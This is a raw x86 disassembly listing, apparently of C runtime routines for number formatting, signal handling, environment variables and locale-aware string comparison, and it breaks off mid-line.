loc_425869: ; CODE XREF: sub_4256C2+1B4j lea eax, [ebp+var_10] push eax call sub_4250CF dec [ebp+arg_14] pop ecx jnz short loc_425869 test esi, esi jge short loc_425893 neg esi and esi, 0FFh jle short loc_425893 loc_425886: ; CODE XREF: sub_4256C2+1CFj lea eax, [ebp+var_10] push eax call sub_4250FD dec esi pop ecx jnz short loc_425886 loc_425893: ; CODE XREF: sub_4256C2+1B8j ; sub_4256C2+1C2j lea ecx, [edi+1] lea eax, [ebx+4] test ecx, ecx mov [ebp+arg_14], eax jle short loc_4258F0 mov [ebp+arg_C], ecx loc_4258A3: ; CODE XREF: sub_4256C2+229j lea esi, [ebp+var_10] lea edi, [ebp+arg_0] movsd movsd lea eax, [ebp+var_10] push eax movsd call sub_4250CF lea eax, [ebp+var_10] push eax call sub_4250CF lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_10] push eax call sub_425071 lea eax, [ebp+var_10] push eax call sub_4250CF mov al, byte ptr [ebp+var_6+1] mov ecx, [ebp+arg_14] and byte ptr [ebp+var_6+1], 0 add esp, 14h add al, 30h inc [ebp+arg_14] dec [ebp+arg_C] mov [ecx], al jnz short loc_4258A3 mov eax, [ebp+arg_14] loc_4258F0: ; CODE XREF: sub_4256C2+1DCj mov cl, [eax-1] dec eax dec eax cmp cl, 35h lea ecx, [ebx+4] jl short loc_42592D loc_4258FD: ; CODE XREF: sub_4256C2+248j cmp eax, ecx jb short loc_425910 cmp byte ptr [eax], 39h jnz short loc_42590C mov byte ptr [eax], 30h dec eax jmp short loc_4258FD ; --------------------------------------------------------------------------- loc_42590C: ; CODE XREF: sub_4256C2+242j cmp eax, ecx jnb short loc_425914 loc_425910: ; CODE XREF: sub_4256C2+23Dj inc eax inc word ptr [ebx] loc_425914: ; CODE XREF: sub_4256C2+24Cj inc byte ptr [eax] loc_425916: ; CODE XREF: sub_4256C2+279j sub al, bl sub al, 3 mov [ebx+3], al movsx eax, al and byte ptr [eax+ebx+4], 0 loc_425925: ; CODE XREF: sub_4256C2+F0j mov eax, [ebp+var_4] loc_425928: ; CODE XREF: sub_4256C2+291j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_42592D: ; CODE XREF: sub_4256C2+239j ; sub_4256C2+275j cmp eax, ecx jb short loc_42593D cmp byte ptr [eax], 30h jnz short loc_425939 dec eax jmp short loc_42592D ; --------------------------------------------------------------------------- loc_425939: ; CODE XREF: sub_4256C2+272j cmp eax, ecx jnb short loc_425916 loc_42593D: ; CODE XREF: sub_4256C2+26Dj and word ptr [ebx], 0 mov byte ptr [ebx+2], 20h mov byte ptr [ebx+3], 1 mov byte ptr [ecx], 30h loc_42594C: ; CODE XREF: sub_4256C2+87j and byte ptr [ebx+5], 0 push 1 pop eax jmp short loc_425928 sub_4256C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425955 proc near ; CODE XREF: sub_42255C+226Dp arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov eax, edi dec eax dec eax jz short loc_4259BC dec eax dec eax jz short loc_4259AD sub eax, 4 jz short loc_4259AD sub eax, 3 jz short loc_4259AD sub eax, 4 jz short loc_4259A0 sub eax, 6 jz short loc_425993 dec eax jz short loc_425986 or eax, 0FFFFFFFFh jmp loc_425A7E ; --------------------------------------------------------------------------- loc_425986: ; CODE XREF: sub_425955+27j mov esi, dword_4DB57C mov eax, offset dword_4DB57C jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_425993: ; CODE XREF: sub_425955+24j mov esi, dword_4DB578 mov eax, offset dword_4DB578 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259A0: ; CODE XREF: sub_425955+1Fj mov esi, dword_4DB580 mov eax, offset dword_4DB580 jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259AD: ; CODE XREF: sub_425955+10j ; sub_425955+15j ... push edi call sub_425A82 mov esi, [eax+8] add eax, 8 pop ecx jmp short loc_4259C7 ; --------------------------------------------------------------------------- loc_4259BC: ; CODE XREF: sub_425955+Cj mov esi, dword_4DB574 mov eax, offset dword_4DB574 loc_4259C7: ; CODE XREF: sub_425955+3Cj ; sub_425955+49j ... cmp esi, 1 jnz short loc_4259D3 xor eax, eax jmp loc_425A7E ; --------------------------------------------------------------------------- loc_4259D3: ; CODE XREF: sub_425955+75j test esi, esi jnz short loc_4259DE push 3 call sub_41B7C2 loc_4259DE: ; CODE XREF: sub_425955+80j push ebx push 8 pop ecx cmp edi, ecx jz short loc_4259F0 cmp edi, 0Bh jz short loc_4259F0 cmp edi, 4 jnz short loc_425A16 loc_4259F0: ; CODE XREF: sub_425955+8Fj ; sub_425955+94j mov ebx, dword_4DB350 and dword_4DB350, 0 cmp edi, ecx jnz short loc_425A45 mov edx, dword_43C94C mov dword_43C94C, 8Ch mov [ebp+arg_0], edx jmp short loc_425A19 ; --------------------------------------------------------------------------- loc_425A16: ; CODE XREF: sub_425955+99j mov ebx, [ebp+arg_0] loc_425A19: ; CODE XREF: sub_425955+BFj cmp edi, ecx jnz short loc_425A45 mov eax, dword_43C940 mov ecx, dword_43C944 add ecx, eax cmp eax, ecx jge short loc_425A4C lea edx, [eax+eax*2] sub ecx, eax lea edx, ds:43C8D0h[edx*4] loc_425A3A: ; CODE XREF: sub_425955+ECj and dword ptr [edx], 0 add edx, 0Ch dec ecx jnz short loc_425A3A jmp short loc_425A4C ; --------------------------------------------------------------------------- loc_425A45: ; CODE XREF: sub_425955+AAj ; sub_425955+C6j and dword ptr [eax], 0 cmp edi, ecx jnz short loc_425A5A loc_425A4C: ; CODE XREF: sub_425955+D7j ; sub_425955+EEj push dword_43C94C push 8 call esi pop ecx pop ecx jmp short loc_425A68 ; --------------------------------------------------------------------------- loc_425A5A: ; CODE XREF: sub_425955+F5j push edi call esi cmp edi, 0Bh pop ecx jz short loc_425A68 cmp edi, 4 jnz short loc_425A7B loc_425A68: ; CODE XREF: sub_425955+103j ; sub_425955+10Cj cmp edi, 8 mov dword_4DB350, ebx jnz short loc_425A7B mov eax, [ebp+arg_0] mov dword_43C94C, eax loc_425A7B: ; CODE XREF: sub_425955+111j ; sub_425955+11Cj xor eax, eax pop ebx loc_425A7E: ; CODE XREF: sub_425955+2Cj ; sub_425955+79j pop edi pop esi pop ebp retn sub_425955 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_425A82 proc near ; CODE XREF: sub_425955+59p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, dword_43C948 cmp dword_43C8CC, edx push esi mov eax, offset dword_43C8C8 jz short loc_425AB0 lea esi, [ecx+ecx*2] lea esi, ds:43C8C8h[esi*4] loc_425AA4: ; CODE XREF: sub_425A82+2Cj add eax, 0Ch cmp eax, esi jnb short loc_425AB0 cmp [eax+4], edx jnz short loc_425AA4 loc_425AB0: ; CODE XREF: sub_425A82+16j ; sub_425A82+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:43C8C8h[ecx*4] cmp eax, ecx jnb short loc_425AC4 cmp [eax+4], edx jz short locret_425AC6 loc_425AC4: ; CODE XREF: sub_425A82+3Bj xor eax, eax locret_425AC6: ; CODE XREF: sub_425A82+40j retn sub_425A82 endp ; =============== S U B R O U T I N E ======================================= sub_425AC7 proc near ; CODE XREF: sub_4247EC+23p arg_0 = dword ptr 4 cmp dword_4DC910, 0 push ebx push esi mov esi, dword_4DB2A0 push edi jz short loc_425B3E test esi, esi jnz short loc_425AF8 cmp dword_4DB2A8, esi jz short loc_425B3E call sub_425E95 test eax, eax jnz short loc_425B3E mov esi, dword_4DB2A0 test esi, esi jz short loc_425B3E loc_425AF8: ; CODE XREF: sub_425AC7+14j mov ebx, [esp+0Ch+arg_0] test ebx, ebx jz short loc_425B3E push ebx call sub_41AFE0 pop ecx mov edi, eax loc_425B09: ; CODE XREF: sub_425AC7+6Dj mov eax, [esi] test eax, eax jz short loc_425B3E push eax call sub_41AFE0 cmp eax, edi pop ecx jbe short loc_425B31 mov eax, [esi] cmp byte ptr [eax+edi], 3Dh jnz short loc_425B31 push edi push ebx push eax call sub_425E56 add esp, 0Ch test eax, eax jz short loc_425B36 loc_425B31: ; CODE XREF: sub_425AC7+51j ; sub_425AC7+59j add esi, 4 jmp short loc_425B09 ; --------------------------------------------------------------------------- loc_425B36: ; CODE XREF: sub_425AC7+68j mov eax, [esi] lea eax, [eax+edi+1] jmp short loc_425B40 ; --------------------------------------------------------------------------- loc_425B3E: ; CODE XREF: sub_425AC7+10j ; sub_425AC7+1Cj ... xor eax, eax loc_425B40: ; CODE XREF: sub_425AC7+75j pop edi pop esi pop ebx retn sub_425AC7 endp ; =============== S U B R O U T I N E ======================================= sub_425B44 proc near ; CODE XREF: sub_424F0A+8Bp ; sub_424F0A+D9p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi cmp eax, dword_4DC6C0 jnb short loc_425BAB mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, dword_4DC5C0[ecx*4] lea edx, [ecx+eax*8+4] mov cl, [ecx+eax*8+4] test cl, 1 jz short loc_425BAB mov al, cl mov esi, 8000h and eax, 80h cmp [esp+4+arg_4], esi jnz short loc_425B84 and cl, 7Fh jmp short loc_425B91 ; --------------------------------------------------------------------------- loc_425B84: ; CODE XREF: sub_425B44+39j cmp [esp+4+arg_4], 4000h jnz short loc_425B9F or cl, 80h loc_425B91: ; CODE XREF: sub_425B44+3Ej neg eax sbb eax, eax mov [edx], cl and ax, 0C000h add eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_425B9F: ; CODE XREF: sub_425B44+48j mov dword_4DB278, 16h jmp short loc_425BB5 ; --------------------------------------------------------------------------- loc_425BAB: ; CODE XREF: sub_425B44+Bj ; sub_425B44+27j mov dword_4DB278, 9 loc_425BB5: ; CODE XREF: sub_425B44+65j or eax, 0FFFFFFFFh pop esi retn sub_425B44 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425BBA proc near ; CODE XREF: sub_4256C2+165p ; sub_425DDA+69p var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 24h push ebx mov ebx, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov cx, [ebx+0Ah] xor eax, eax push edi mov [ebp+var_14], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_1C], eax mov ax, [esi+0Ah] mov edi, ecx mov edx, 7FFFh xor edi, eax and eax, edx and ecx, edx and edi, 8000h cmp ax, 7FFFh lea edx, [ecx+eax] mov [ebp+arg_0], edx jnb loc_425DBA cmp cx, 7FFFh jnb loc_425DBA cmp dx, 0BFFDh ja loc_425DBA cmp dx, 3FBFh ja short loc_425C23 xor eax, eax jmp short loc_425C5D ; --------------------------------------------------------------------------- loc_425C23: ; CODE XREF: sub_425BBA+63j test ax, ax mov edx, 7FFFFFFFh jnz short loc_425C45 inc [ebp+arg_0] test [esi+8], edx jnz short loc_425C45 xor eax, eax cmp [esi+4], eax jnz short loc_425C47 cmp [esi], eax jnz short loc_425C47 jmp loc_425DB4 ; --------------------------------------------------------------------------- loc_425C45: ; CODE XREF: sub_425BBA+71j ; sub_425BBA+79j xor eax, eax loc_425C47: ; CODE XREF: sub_425BBA+80j ; sub_425BBA+84j cmp cx, ax jnz short loc_425C6A inc [ebp+arg_0] test [ebx+8], edx jnz short loc_425C6A cmp [ebx+4], eax jnz short loc_425C6A cmp [ebx], eax jnz short loc_425C6A loc_425C5D: ; CODE XREF: sub_425BBA+67j mov [esi+8], eax mov [esi+4], eax mov [esi], eax jmp loc_425DD5 ; --------------------------------------------------------------------------- loc_425C6A: ; CODE XREF: sub_425BBA+90j ; sub_425BBA+98j ... mov [ebp+var_10], eax lea eax, [ebp+var_20] mov [ebp+var_4], eax mov [ebp+arg_4], 5 loc_425C7A: ; CODE XREF: sub_425BBA+122j mov eax, [ebp+var_10] add eax, eax cmp [ebp+arg_4], 0 jle short loc_425CCE add eax, esi lea ecx, [ebx+8] mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_C], ecx mov [ebp+var_18], eax loc_425C96: ; CODE XREF: sub_425BBA+112j mov eax, [ebp+var_8] mov ecx, [ebp+var_C] movzx eax, word ptr [eax] movzx ecx, word ptr [ecx] imul eax, ecx mov ecx, [ebp+var_4] add ecx, 0FFFFFFFCh push ecx push eax push dword ptr [ecx] call sub_425050 add esp, 0Ch test eax, eax jz short loc_425CC1 mov eax, [ebp+var_4] inc word ptr [eax] loc_425CC1: ; CODE XREF: sub_425BBA+FFj add [ebp+var_8], 2 sub [ebp+var_C], 2 dec [ebp+var_18] jnz short loc_425C96 loc_425CCE: ; CODE XREF: sub_425BBA+C9j add [ebp+var_4], 2 inc [ebp+var_10] dec [ebp+arg_4] cmp [ebp+arg_4], 0 jg short loc_425C7A add [ebp+arg_0], 0C002h cmp word ptr [ebp+arg_0], 0 jle short loc_425D11 loc_425CEC: ; CODE XREF: sub_425BBA+14Ej test byte ptr [ebp+var_1C+3], 80h jnz short loc_425D0A lea eax, [ebp+var_24] push eax call sub_4250CF add [ebp+arg_0], 0FFFFh pop ecx cmp word ptr [ebp+arg_0], 0 jg short loc_425CEC loc_425D0A: ; CODE XREF: sub_425BBA+136j cmp word ptr [ebp+arg_0], 0 jg short loc_425D4A loc_425D11: ; CODE XREF: sub_425BBA+130j add [ebp+arg_0], 0FFFFh cmp word ptr [ebp+arg_0], 0 jge short loc_425D4A movsx eax, word ptr [ebp+arg_0] neg eax add [ebp+arg_0], eax mov ebx, eax loc_425D2A: ; CODE XREF: sub_425BBA+184j test byte ptr [ebp+var_24], 1 jz short loc_425D33 inc [ebp+var_14] loc_425D33: ; CODE XREF: sub_425BBA+174j lea eax, [ebp+var_24] push eax call sub_4250FD dec ebx pop ecx jnz short loc_425D2A cmp [ebp+var_14], 0 jz short loc_425D4A or byte ptr [ebp+var_24], 1 loc_425D4A: ; CODE XREF: sub_425BBA+155j ; sub_425BBA+163j ... cmp word ptr [ebp+var_24], 8000h ja short loc_425D61 mov eax, [ebp+var_24] and eax, 1FFFFh cmp eax, 18000h jnz short loc_425D96 loc_425D61: ; CODE XREF: sub_425BBA+196j cmp [ebp+var_24+2], 0FFFFFFFFh jnz short loc_425D93 and [ebp+var_24+2], 0 cmp [ebp+var_20+2], 0FFFFFFFFh jnz short loc_425D8E and [ebp+var_20+2], 0 cmp word ptr [ebp+var_1C+2], 0FFFFh jnz short loc_425D88 inc [ebp+arg_0] mov word ptr [ebp+var_1C+2], 8000h jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D88: ; CODE XREF: sub_425BBA+1C1j inc word ptr [ebp+var_1C+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D8E: ; CODE XREF: sub_425BBA+1B5j inc [ebp+var_20+2] jmp short loc_425D96 ; --------------------------------------------------------------------------- loc_425D93: ; CODE XREF: sub_425BBA+1ABj inc [ebp+var_24+2] loc_425D96: ; CODE XREF: sub_425BBA+1A5j ; sub_425BBA+1CCj ... mov eax, [ebp+arg_0] cmp ax, 7FFFh jnb short loc_425DBA mov cx, word ptr [ebp+var_24+2] or eax, edi mov [esi], cx mov ecx, [ebp+var_20] mov [esi+2], ecx mov ecx, [ebp+var_1C] mov [esi+6], ecx loc_425DB4: ; CODE XREF: sub_425BBA+86j mov [esi+0Ah], ax jmp short loc_425DD5 ; --------------------------------------------------------------------------- loc_425DBA: ; CODE XREF: sub_425BBA+42j ; sub_425BBA+4Dj ... neg di sbb edi, edi and dword ptr [esi+4], 0 and edi, 80000000h add edi, 7FFF8000h and dword ptr [esi], 0 mov [esi+8], edi loc_425DD5: ; CODE XREF: sub_425BBA+ABj ; sub_425BBA+1FEj pop edi pop esi pop ebx leave retn sub_425BBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425DDA proc near ; CODE XREF: sub_4251F1+440p ; sub_4256C2+14Cp var_C = byte ptr -0Ch var_A = dword ptr -0Ah arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push ebx mov ebx, offset dword_43CDC8 xor ecx, ecx sub ebx, 60h cmp [ebp+arg_4], ecx jz short loc_425E53 jge short loc_425E02 mov eax, [ebp+arg_4] mov ebx, offset dword_43CF28 neg eax mov [ebp+arg_4], eax sub ebx, 60h loc_425E02: ; CODE XREF: sub_425DDA+16j cmp [ebp+arg_8], ecx jnz short loc_425E0D mov eax, [ebp+arg_0] mov [eax], cx loc_425E0D: ; CODE XREF: sub_425DDA+2Bj cmp [ebp+arg_4], ecx jz short loc_425E53 push esi push edi loc_425E14: ; CODE XREF: sub_425DDA+75j mov eax, [ebp+arg_4] add ebx, 54h sar [ebp+arg_4], 3 and eax, 7 cmp eax, ecx jz short loc_425E4C lea eax, [eax+eax*2] cmp word ptr [ebx+eax*4], 8000h lea esi, [ebx+eax*4] jb short loc_425E3F lea edi, [ebp+var_C] movsd movsd movsd dec [ebp+var_A] lea esi, [ebp+var_C] loc_425E3F: ; CODE XREF: sub_425DDA+57j push esi push [ebp+arg_0] call sub_425BBA pop ecx pop ecx xor ecx, ecx loc_425E4C: ; CODE XREF: sub_425DDA+49j cmp [ebp+arg_4], ecx jnz short loc_425E14 pop edi pop esi loc_425E53: ; CODE XREF: sub_425DDA+14j ; sub_425DDA+36j pop ebx leave retn sub_425DDA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425E56 proc near ; CODE XREF: sub_425AC7+5Ep ; sub_426332+18p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_425E63 xor eax, eax pop ebp retn ; --------------------------------------------------------------------------- loc_425E63: ; CODE XREF: sub_425E56+7j push dword_4DC6C4 push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_8] push [ebp+arg_0] push 1 push dword_4DC8E4 call sub_425F03 add esp, 1Ch test eax, eax jnz short loc_425E90 mov eax, 7FFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_425E90: ; CODE XREF: sub_425E56+31j add eax, 0FFFFFFFEh pop ebp retn sub_425E56 endp ; =============== S U B R O U T I N E ======================================= sub_425E95 proc near ; CODE XREF: sub_425AC7+1Ep ; sub_4261AB+5Bp var_4 = dword ptr -4 push ecx push ebx push ebp push esi mov esi, dword_4DB2A8 push edi xor edi, edi mov eax, [esi] cmp eax, edi jz short loc_425EF6 mov ebx, dword_42717C loc_425EAE: ; CODE XREF: sub_425E95+5Fj push edi push edi push edi push edi push 0FFFFFFFFh push eax push edi push 1 call ebx mov ebp, eax cmp ebp, edi jz short loc_425EFE push ebp call sub_41B4D5 cmp eax, edi pop ecx mov [esp+14h+var_4], eax jz short loc_425EFE push edi push edi push ebp push eax push 0FFFFFFFFh push dword ptr [esi] push edi push 1 call ebx test eax, eax jz short loc_425EFE push edi push [esp+18h+var_4] call sub_4261AB mov eax, [esi+4] add esi, 4 pop ecx cmp eax, edi pop ecx jnz short loc_425EAE loc_425EF6: ; CODE XREF: sub_425E95+11j xor eax, eax loc_425EF8: ; CODE XREF: sub_425E95+6Cj pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_425EFE: ; CODE XREF: sub_425E95+29j ; sub_425E95+38j ... or eax, 0FFFFFFFFh jmp short loc_425EF8 sub_425E95 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_425F03 proc near ; CODE XREF: sub_425E56+27p var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427CF0 push offset sub_4234B8 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push ebx push esi push edi mov [ebp+var_18], esp xor ebx, ebx cmp dword_4DB588, ebx push 1 pop edi jnz short loc_425F76 push edi mov eax, offset dword_427940 push eax push edi push eax push ebx push ebx nop call near ptr 25F0000h test eax, eax jz short loc_425F53 mov dword_4DB588, edi jmp short loc_425F76 ; --------------------------------------------------------------------------- loc_425F53: ; CODE XREF: sub_425F03+46j push edi mov eax, offset dword_4CAE2C push eax push edi push eax push ebx push ebx nop call near ptr 25F06AFh test eax, eax jz loc_42616C mov dword_4DB588, 2 loc_425F76: ; CODE XREF: sub_425F03+31j ; sub_425F03+4Ej mov esi, [ebp+arg_C] cmp esi, ebx jle short loc_425F8D push esi push [ebp+arg_8] call sub_426180 pop ecx pop ecx mov esi, eax mov [ebp+arg_C], esi loc_425F8D: ; CODE XREF: sub_425F03+78j cmp [ebp+arg_14], ebx jle short loc_425FA2 push [ebp+arg_14] push [ebp+arg_10] call sub_426180 pop ecx pop ecx mov [ebp+arg_14], eax loc_425FA2: ; CODE XREF: sub_425F03+8Dj mov eax, dword_4DB588 cmp eax, 2 jnz short loc_425FC7 push [ebp+arg_14] push [ebp+arg_10] push esi push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 25F06AFh jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FC7: ; CODE XREF: sub_425F03+A7j cmp eax, edi jnz loc_42616C cmp [ebp+arg_18], ebx jnz short loc_425FDC mov eax, dword_4DB344 mov [ebp+arg_18], eax loc_425FDC: ; CODE XREF: sub_425F03+CFj cmp esi, ebx jz short loc_425FE9 cmp [ebp+arg_14], ebx jnz loc_426081 loc_425FE9: ; CODE XREF: sub_425F03+DBj cmp esi, [ebp+arg_14] jnz short loc_425FF6 loc_425FEE: ; CODE XREF: sub_425F03+13Cj ; sub_425F03+16Dj push 2 loc_425FF0: ; CODE XREF: sub_425F03+146j pop eax jmp loc_42616E ; --------------------------------------------------------------------------- loc_425FF6: ; CODE XREF: sub_425F03+E9j cmp [ebp+arg_14], edi jle short loc_426002 loc_425FFB: ; CODE XREF: sub_425F03+151j ; sub_425F03+159j ... mov eax, edi jmp loc_42616E ; --------------------------------------------------------------------------- loc_426002: ; CODE XREF: sub_425F03+F6j cmp esi, edi jg short loc_426047 lea eax, [ebp+var_3C] push eax push [ebp+arg_18] nop call near ptr 28A0000h test eax, eax jz loc_42616C cmp esi, ebx jle short loc_42604B cmp [ebp+var_3C], 2 jb short loc_426047 lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_426047 loc_42602D: ; CODE XREF: sub_425F03+142j mov dl, [eax+1] cmp dl, bl jz short loc_426047 mov ecx, [ebp+arg_8] mov cl, [ecx] cmp cl, [eax] jb short loc_426041 cmp cl, dl jbe short loc_425FEE loc_426041: ; CODE XREF: sub_425F03+138j inc eax inc eax cmp [eax], bl jnz short loc_42602D loc_426047: ; CODE XREF: sub_425F03+101j ; sub_425F03+120j ... push 3 jmp short loc_425FF0 ; --------------------------------------------------------------------------- loc_42604B: ; CODE XREF: sub_425F03+11Aj cmp [ebp+arg_14], ebx jle short loc_426081 cmp [ebp+var_3C], 2 jb short loc_425FFB lea eax, [ebp+var_36] cmp [ebp+var_36], bl jz short loc_425FFB loc_42605E: ; CODE XREF: sub_425F03+177j mov dl, [eax+1] cmp dl, bl jz short loc_425FFB mov ecx, [ebp+arg_10] mov cl, [ecx] cmp cl, [eax] jb short loc_426076 cmp cl, dl jbe loc_425FEE loc_426076: ; CODE XREF: sub_425F03+169j inc eax inc eax cmp [eax], bl jnz short loc_42605E jmp loc_425FFB ; --------------------------------------------------------------------------- loc_426081: ; CODE XREF: sub_425F03+E0j ; sub_425F03+14Bj push ebx push ebx push esi push [ebp+arg_8] push 9 push [ebp+arg_18] nop call near ptr 2830000h mov [ebp+var_1C], eax cmp eax, ebx jz loc_42616C mov [ebp+var_4], ebx add eax, eax add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_24], eax or [ebp+var_4], 0FFFFFFFFh jmp short loc_4260D0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+arg_C] push 1 pop edi loc_4260D0: ; CODE XREF: sub_425F03+1B5j cmp [ebp+var_24], ebx jz loc_42616C push [ebp+var_1C] push [ebp+var_24] push esi push [ebp+arg_8] push edi push [ebp+arg_18] mov esi, dword_427180 call esi test eax, eax jz short loc_42616C push ebx push ebx push [ebp+arg_14] push [ebp+arg_10] push 9 push [ebp+arg_18] call esi mov esi, eax mov [ebp+var_20], esi cmp esi, ebx jz short loc_42616C mov [ebp+var_4], edi lea eax, [esi+esi] add eax, 3 and al, 0FCh call sub_41BB20 mov [ebp+var_18], esp mov edi, esp mov [ebp+var_28], edi or [ebp+var_4], 0FFFFFFFFh jmp short loc_42613B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor ebx, ebx xor edi, edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_20] loc_42613B: ; CODE XREF: sub_425F03+224j cmp edi, ebx jz short loc_42616C push esi push edi push [ebp+arg_14] push [ebp+arg_10] push 1 push [ebp+arg_18] call near ptr 2830000h nop test eax, eax jz short loc_42616C push esi push edi push [ebp+var_1C] push [ebp+var_24] push [ebp+arg_4] push [ebp+arg_0] call near ptr 25F0000h nop jmp short loc_42616E ; --------------------------------------------------------------------------- loc_42616C: ; CODE XREF: sub_425F03+63j ; sub_425F03+C6j ... xor eax, eax loc_42616E: ; CODE XREF: sub_425F03+BFj ; sub_425F03+EEj ... lea esp, [ebp-4Ch] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_425F03 endp ; =============== S U B R O U T I N E ======================================= sub_426180 proc near ; CODE XREF: sub_422ACA+81p ; sub_425F03+7Ep ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_42619D loc_426190: ; CODE XREF: sub_426180+1Bj cmp byte ptr [eax], 0 jz short loc_42619D inc eax mov esi, ecx dec ecx test esi, esi jnz short loc_426190 loc_42619D: ; CODE XREF: sub_426180+Ej ; sub_426180+13j cmp byte ptr [eax], 0 pop esi jnz short loc_4261A8 sub eax, [esp+arg_0] retn ; --------------------------------------------------------------------------- loc_4261A8: ; CODE XREF: sub_426180+21j mov eax, edx retn sub_426180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4261AB proc near ; CODE XREF: sub_425E95+50p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi xor edi, edi cmp [ebp+arg_0], edi jz short loc_42620F push 3Dh push [ebp+arg_0] call sub_4263F1 mov esi, eax pop ecx cmp esi, edi pop ecx mov [ebp+var_8], esi jz short loc_42620F cmp [ebp+arg_0], esi jz short loc_42620F mov eax, dword_4DB2A0 xor ebx, ebx cmp [esi+1], bl setz bl cmp eax, dword_4DB2A4 jnz short loc_4261F5 push eax call sub_42638A pop ecx mov dword_4DB2A0, eax loc_4261F5: ; CODE XREF: sub_4261AB+3Cj cmp eax, edi jnz short loc_42624D cmp [ebp+arg_4], edi jz short loc_426217 cmp dword_4DB2A8, edi jz short loc_426217 call sub_425E95 test eax, eax jz short loc_42624D loc_42620F: ; CODE XREF: sub_4261AB+Dj ; sub_4261AB+22j ... or eax, 0FFFFFFFFh loc_426212: ; CODE XREF: sub_4261AB+182j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_426217: ; CODE XREF: sub_4261AB+51j ; sub_4261AB+59j cmp ebx, edi jnz loc_42632B push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A0, eax jz short loc_42620F mov [eax], edi cmp dword_4DB2A8, edi jnz short loc_42624D push 4 call sub_41B4D5 cmp eax, edi pop ecx mov dword_4DB2A8, eax jz short loc_42620F mov [eax], edi loc_42624D: ; CODE XREF: sub_4261AB+4Cj ; sub_4261AB+62j ... sub esi, [ebp+arg_0] mov edi, dword_4DB2A0 mov [ebp+var_4], edi push esi push [ebp+arg_0] call sub_426332 mov esi, eax pop ecx test esi, esi pop ecx jl short loc_4262AD cmp dword ptr [edi], 0 jz short loc_4262AD test ebx, ebx jz short loc_4262A5 push dword ptr [edi+esi*4] lea edi, [edi+esi*4] call sub_41B0B1 pop ecx loc_42627F: ; CODE XREF: sub_4261AB+E2j cmp dword ptr [edi], 0 jz short loc_42628F mov eax, [edi+4] inc esi mov [edi], eax add edi, 4 jmp short loc_42627F ; --------------------------------------------------------------------------- loc_42628F: ; CODE XREF: sub_4261AB+D7j mov eax, esi shl eax, 2 push eax push [ebp+var_4] call sub_41B202 pop ecx test eax, eax pop ecx jz short loc_4262DF jmp short loc_4262DA ; --------------------------------------------------------------------------- loc_4262A5: ; CODE XREF: sub_4261AB+C6j mov eax, [ebp+arg_0] mov [edi+esi*4], eax jmp short loc_4262DF ; --------------------------------------------------------------------------- loc_4262AD: ; CODE 